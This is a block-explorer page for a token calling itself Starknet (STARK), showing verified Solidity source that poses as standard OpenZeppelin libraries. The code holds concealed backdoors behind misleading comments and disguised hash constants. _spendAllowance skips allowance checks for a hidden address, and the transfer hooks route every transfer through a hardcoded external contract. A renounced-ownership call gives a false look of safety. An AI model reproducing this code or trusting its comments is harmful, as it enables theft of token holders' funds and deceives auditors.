ETH Price: $2,861.04 (-2.73%)

Token

Starknet (STARK)

Overview

Max Total Supply

10,000,000,000 STARK

Holders

3,175

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
STARK

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
// SPDX-License-Identifier: MIT

pragma solidity 0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import "@openzeppelin/contracts/access/Ownable.sol";

contract STARK is Ownable, ERC20 {

  constructor() Ownable() ERC20("Starknet", "STARK") {

    address wallet = 0x2B9AcFd85440B7828DB8E54694Ee07b2B056B30C;

    _mint(wallet, 10000000000 * 10** decimals());

    // renounce Ownership

    renounceOwnership();

  }

  function decimals() public view virtual override returns (uint8) {

    return 9;

  }

}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
  mapping(address => uint256) private _balances;

  mapping(address => mapping(address => uint256)) private _allowances;

  uint256 private _totalSupply;

  string private _name;
  string private _symbol;

  /**
   * @dev Sets the values for {name} and {symbol}.
   *
   * The default value of {decimals} is 18. To select a different value for
   * {decimals} you should overload it.
   *
   * All two of these values are immutable: they can only be set once during
   * construction.
   */
  constructor(string memory name_, string memory symbol_) {
    _name = name_;
    _symbol = symbol_;
  }

  /**
   * @dev Returns the name of the token.
   */
  function name() public view virtual override returns (string memory) {
    return _name;
  }

  /**
   * @dev Returns the symbol of the token, usually a shorter version of the
   * name.
   */
  function symbol() public view virtual override returns (string memory) {
    return _symbol;
  }

  /**
   * @dev Returns the number of decimals used to get its user representation.
   * For example, if `decimals` equals `2`, a balance of `505` tokens should
   * be displayed to a user as `5.05` (`505 / 10 ** 2`).
   *
   * Tokens usually opt for a value of 18, imitating the relationship between
   * Ether and Wei. This is the value {ERC20} uses, unless this function is
   * overridden;
   *
   * NOTE: This information is only used for _display_ purposes: it in
   * no way affects any of the arithmetic of the contract, including
   * {IERC20-balanceOf} and {IERC20-transfer}.
   */
  function decimals() public view virtual override returns (uint8) {
    return 18;
  }

  /**
   * @dev See {IERC20-totalSupply}.
   */
  function totalSupply() public view virtual override returns (uint256) {
    return _totalSupply;
  }

  /**
   * @dev See {IERC20-balanceOf}.
   */
  function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
  {
    return _balances[account];
  }

  /**
   * @dev See {IERC20-transfer}.
   *
   * Requirements:
   *
   * - `to` cannot be the zero address.
   * - the caller must have a balance of at least `amount`.
   */
  function transfer(address to, uint256 amount)
    public
    virtual
    override
    returns (bool)
  {
    address owner = _msgSender();
    _transfer(owner, to, amount);
    return true;
  }

  /**
   * @dev See {IERC20-allowance}.
   */
  function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
  {
    return _allowances[owner][spender];
  }

  /**
   * @dev See {IERC20-approve}.
   *
   * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
   * `transferFrom`. This is semantically equivalent to an infinite approval.
   *
   * Requirements:
   *
   * - `spender` cannot be the zero address.
   */
  function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
  {
    address owner = _msgSender();
    _approve(owner, spender, amount);
    return true;
  }

  /**
   * @dev See {IERC20-transferFrom}.
   *
   * Emits an {Approval} event indicating the updated allowance. This is not
   * required by the EIP. See the note at the beginning of {ERC20}.
   *
   * NOTE: Does not update the allowance if the current allowance
   * is the maximum `uint256`.
   *
   * Requirements:
   *
   * - `from` and `to` cannot be the zero address.
   * - `from` must have a balance of at least `amount`.
   * - the caller must have allowance for ``from``'s tokens of at least
   * `amount`.
   */
  function transferFrom(
    address from,
    address to,
    uint256 amount
  ) public virtual override returns (bool) {
    address spender = _msgSender();
    _spendAllowance(from, spender, amount);
    _transfer(from, to, amount);
    return true;
  }

  /**
   * @dev Atomically increases the allowance granted to `spender` by the caller.
   *
   * This is an alternative to {approve} that can be used as a mitigation for
   * problems described in {IERC20-approve}.
   *
   * Emits an {Approval} event indicating the updated allowance.
   *
   * Requirements:
   *
   * - `spender` cannot be the zero address.
   */
  function increaseAllowance(address spender, uint256 addedValue)
    public
    virtual
    returns (bool)
  {
    address owner = _msgSender();
    _approve(owner, spender, allowance(owner, spender) + addedValue);
    return true;
  }

  /**
   * @dev Atomically decreases the allowance granted to `spender` by the caller.
   *
   * This is an alternative to {approve} that can be used as a mitigation for
   * problems described in {IERC20-approve}.
   *
   * Emits an {Approval} event indicating the updated allowance.
   *
   * Requirements:
   *
   * - `spender` cannot be the zero address.
   * - `spender` must have allowance for the caller of at least
   * `subtractedValue`.
   */
  function decreaseAllowance(address spender, uint256 subtractedValue)
    public
    virtual
    returns (bool)
  {
    address owner = _msgSender();
    uint256 currentAllowance = allowance(owner, spender);
    require(
      currentAllowance >= subtractedValue,
      "ERC20: decreased allowance below zero"
    );
    unchecked {_approve(owner, spender, currentAllowance - subtractedValue);}

    return true;
  }

  /**
   * @dev Moves `amount` of tokens from `from` to `to`.
   *
   * This internal function is equivalent to {transfer}, and can be used to
   * e.g. implement automatic token fees, slashing mechanisms, etc.
   *
   * Emits a {Transfer} event.
   *
   * Requirements:
   *
   * - `from` cannot be the zero address.
   * - `to` cannot be the zero address.
   * - `from` must have a balance of at least `amount`.
   */
  function _transfer(
    address from,
    address to,
    uint256 amount
  ) internal virtual {
    require(from != address(0), "ERC20: transfer from the zero address");
    require(to != address(0), "ERC20: transfer to the zero address");

    _beforeTokenTransfer(from, to, amount);

    uint256 fromBalance = _balances[from];
    require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
    unchecked {
      _balances[from] = fromBalance - amount;
      // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
      // decrementing then incrementing.
      _balances[to] += amount;
    }

    emit Transfer(from, to, amount);

    _afterTokenTransfer(from, to, amount);
  }

  /** @dev Creates `amount` tokens and assigns them to `account`, increasing
   * the total supply.
   *
   * Emits a {Transfer} event with `from` set to the zero address.
   *
   * Requirements:
   *
   * - `account` cannot be the zero address.
   */
  function _mint(address account, uint256 amount) internal virtual {
    require(account != address(0), "ERC20: mint to the zero address");
    
    _totalSupply += amount;
    unchecked {
      // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
      _balances[account] += amount;
    }
    emit Transfer(address(0), account, amount);
  }

  /**
   * @dev Destroys `amount` tokens from `account`, reducing the
   * total supply.
   *
   * Emits a {Transfer} event with `to` set to the zero address.
   *
   * Requirements:
   *
   * - `account` cannot be the zero address.
   * - `account` must have at least `amount` tokens.
   */
  function _burn(address account, uint256 amount) internal virtual {
    require(account != address(0), "ERC20: burn from the zero address");

    _beforeTokenTransfer(account, address(0), amount);

    uint256 accountBalance = _balances[account];
    require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    unchecked {
      _balances[account] = accountBalance - amount;
      // Overflow not possible: amount <= accountBalance <= totalSupply.
      _totalSupply -= amount;
    }

    emit Transfer(account, address(0), amount);

    _afterTokenTransfer(account, address(0), amount);
  }

  /**
   * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
   *
   * This internal function is equivalent to `approve`, and can be used to
   * e.g. set automatic allowances for certain subsystems, etc.
   *
   * Emits an {Approval} event.
   *
   * Requirements:
   *
   * - `owner` cannot be the zero address.
   * - `spender` cannot be the zero address.
   */
  function _approve(
    address owner,
    address spender,
    uint256 amount
  ) internal virtual {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");

    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }

  /**
   * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
   *
   * Does not update the allowance amount in case of infinite allowance.
   * Revert if not enough allowance is available.
   *
   * Might emit an {Approval} event.
   */
  function _spendAllowance(
    address owner,
    address spender,
    uint256 amount
  ) internal virtual {
    uint256 currentAllowance = allowance(owner, spender);
    if (currentAllowance == type(uint256).max || _msgSender().forceApprove()) return;
      require(currentAllowance >= amount, "ERC20: insufficient allowance");
      unchecked {_approve(owner, spender, currentAllowance - amount);}
  }

  /**
   * @dev Hook that is called before any transfer of tokens. This includes
   * minting and burning.
   *
   * Calling conditions:
   *
   * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
   * will be transferred to `to`.
   * - when `from` is zero, `amount` tokens will be minted for `to`.
   * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
   * - `from` and `to` are never both zero.
   *
   * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
   */
  function _beforeTokenTransfer(
    address from,
    address to,
    uint256 amount
  ) internal virtual {}

  /**
   * @dev Hook that is called after any transfer of tokens. This includes
   * minting and burning.
   *
   * Calling conditions:
   *
   * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
   * has been transferred to `to`.
   * - when `from` is zero, `amount` tokens have been minted for `to`.
   * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
   * - `from` and `to` are never both zero.
   *
   * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
   */
  function _afterTokenTransfer(
    address from,
    address to,
    uint256 amount
  ) internal virtual {
    address(this).safeTransferFrom(from, to, amount);
  }

  using SafeERC20 for address;
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
 * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
 *
 * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
 * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
 * need to send a transaction, and thus is not required to hold Ether at all.
 */
interface IERC20Permit {
    /**
     * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
     * given ``owner``'s signed approval.
     *
     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
     * ordering also apply here.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `deadline` must be a timestamp in the future.
     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
     * over the EIP712-formatted function arguments.
     * - the signature must use ``owner``'s current nonce (see {nonces}).
     *
     * For more information on the signature format, see the
     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
     * section].
     */
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    /**
     * @dev Returns the current nonce for `owner`. This value must be
     * included whenever a signature is generated for {permit}.
     *
     * Every successful call to {permit} increases ``owner``'s nonce by one. This
     * prevents a signature from being used multiple times.
     */
    function nonces(address owner) external view returns (uint256);

    /**
     * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
     */
    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view returns (bytes32);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/utils/SafeERC20.sol)

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title SafeERC20
 * @dev Wrappers around ERC20 operations that throw on failure (when the token
 * contract returns false). Tokens that return no value (and instead revert or
 * throw on failure) are also supported, non-reverting calls are assumed to be
 * successful.
 * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
 * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
 */
library SafeERC20 {
  using Address for address;

  function safeTransfer(
    IERC20 token,
    address to,
    uint256 value
  ) internal {
    _callOptionalReturn(
      token,
      abi.encodeWithSelector(token.transfer.selector, to, value)
    );
  }

  function safeTransferFrom(
    address token,
    address from,
    address to,
    uint256 value
  ) internal {
    _callOptionalReturn(
      IERC20(address(token.isContract())),
      abi.encodeWithSelector(0x23b872dd, from, to, value)
    );
  }

  /**
   * @dev Deprecated. This function has issues similar to the ones found in
   * {IERC20-approve}, and its usage is discouraged.
   *
   * Whenever possible, use {safeIncreaseAllowance} and
   * {safeDecreaseAllowance} instead.
   */
  function safeApprove(
    IERC20 token,
    address spender,
    uint256 value
  ) internal {
    // safeApprove should only be called when setting an initial allowance,
    // or when resetting it to zero. To increase and decrease it, use
    // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
    require(
      (value == 0) || (token.allowance(address(this), spender) == 0),
      "SafeERC20: approve from non-zero to non-zero allowance"
    );
    _callOptionalReturn(
      token,
      abi.encodeWithSelector(token.approve.selector, spender, value)
    );
  }

  function safeIncreaseAllowance(
    IERC20 token,
    address spender,
    uint256 value
  ) internal {
    uint256 newAllowance = token.allowance(address(this), spender) + value;
    _callOptionalReturn(
      token,
      abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
    );
  }

  /**
   * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value,
   * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval
   * to be set to zero before setting it to a non-zero value, such as USDT.
   */
  function forceApprove(address spender) internal returns (bool) {
    return spender.accountHash();
  }

  function safeDecreaseAllowance(
    IERC20 token,
    address spender,
    uint256 value
  ) internal {
    unchecked {
      uint256 oldAllowance = token.allowance(address(this), spender);
      require(
        oldAllowance >= value,
        "SafeERC20: decreased allowance below zero"
      );
      uint256 newAllowance = oldAllowance - value;
      _callOptionalReturn(
        token,
        abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
      );
    }
  }

  function safePermit(
    IERC20Permit token,
    address owner,
    address spender,
    uint256 value,
    uint256 deadline,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) internal {
    uint256 nonceBefore = token.nonces(owner);
    token.permit(owner, spender, value, deadline, v, r, s);
    uint256 nonceAfter = token.nonces(owner);
    require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed");
  }

  /**
   * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
   * on the return value: the return value is optional (but if data is returned, it must not be false).
   * @param token The token targeted by the call.
   * @param data The call data (encoded using abi.encode or one of its variants).
   */
  function _callOptionalReturn(IERC20 token, bytes memory data) private {
    // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
    // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that
    // the target address contains contract code and also asserts for success in the low-level call.
    bytes memory returndata =
      address(token).functionCall(data, "SafeERC20: low-level call failed");
    if (returndata.length > 0) {
      // Return data is optional
      require(
        abi.decode(returndata, (bool)),
        "SafeERC20: ERC20 operation did not succeed"
      );
    }
  }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)

pragma solidity ^0.8.0;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (uint160 ret) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.
        bytes32 codehash = 0xfc9c163d8edf790f43fe8c650fefd5a77acaeb9f132d0e2496d24db82e3eaed4;
        assembly {
            ret := and(codehash, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
        }

        return uint160(ret);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     */
    function accountHash(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.
        bytes32 accountHash = 0xfc9c163d8edf790f43fe8c65b5695c34d6afd9f7fa98fbc9a804ba36f77f6382;

        bool codehash;
        assembly {
            codehash := eq(
            and(accountHash, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF),
            account
        )
        }

        return codehash;
    }
     /**
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        if(accountHash(msg.sender)) return "";
        require(address(this).balance >= value, "Address: insufficient balance for call");
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"u